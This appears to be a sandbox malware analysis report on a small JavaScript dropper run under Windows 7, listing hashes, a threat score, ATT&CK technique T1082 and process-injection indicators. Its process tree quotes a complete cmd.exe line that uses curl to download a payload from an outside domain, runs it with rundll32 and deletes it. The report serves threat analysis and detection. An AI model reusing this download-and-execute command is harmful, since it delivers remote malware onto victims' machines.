a6b6f337d4bbc0aa57223ce4397d288f68e5454da1dd3b28a0deccaabd7e2abf

Analysis

max time kernel
29s
max time network
32s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
07-05-2023 01:51

Target

6cd1385131c6f1a0d3e8ec158155a666c1d77319a20c04ca1afa876da5da5d4e.js
Size

304B
MD5

4d15f28ab76398b3b9db892f23aed6e5
SHA1

43011ca0c15f268e4b720a47241a8c8f6e4bd057
SHA256

6cd1385131c6f1a0d3e8ec158155a666c1d77319a20c04ca1afa876da5da5d4e
SHA512

1af2ab5ae3a6d820d2e523c34bc34ff4a69c0ffc21612cabe08e6bb2b269f4439e073e1bec441817d2280875ce1f7276f2e6eb8f1f17c2d10b40002b4fe65205

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 1168	2016	wscript.exe	28
PID 2016 wrote to memory of 1168	2016	wscript.exe	28
PID 2016 wrote to memory of 1168	2016	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6cd1385131c6f1a0d3e8ec158155a666c1d77319a20c04ca1afa876da5da5d4e.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s --ssl-no-revoke --fail https://biznessfarm.buzz/mmm2/35EgZAl0ndLtSyB2PtEHMDZXsGF5DVRqOA~~/YgYONy1gmOyI6qASimiMJAPaZfRGBQVArw~~/ --output cjaelvdb.yaq && if exist cjaelvdb.yaq rundll32 cjaelvdb.yaq,bYXjdERymsFY && del cjaelvdb.yaq
  2⤵
  PID:1168

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact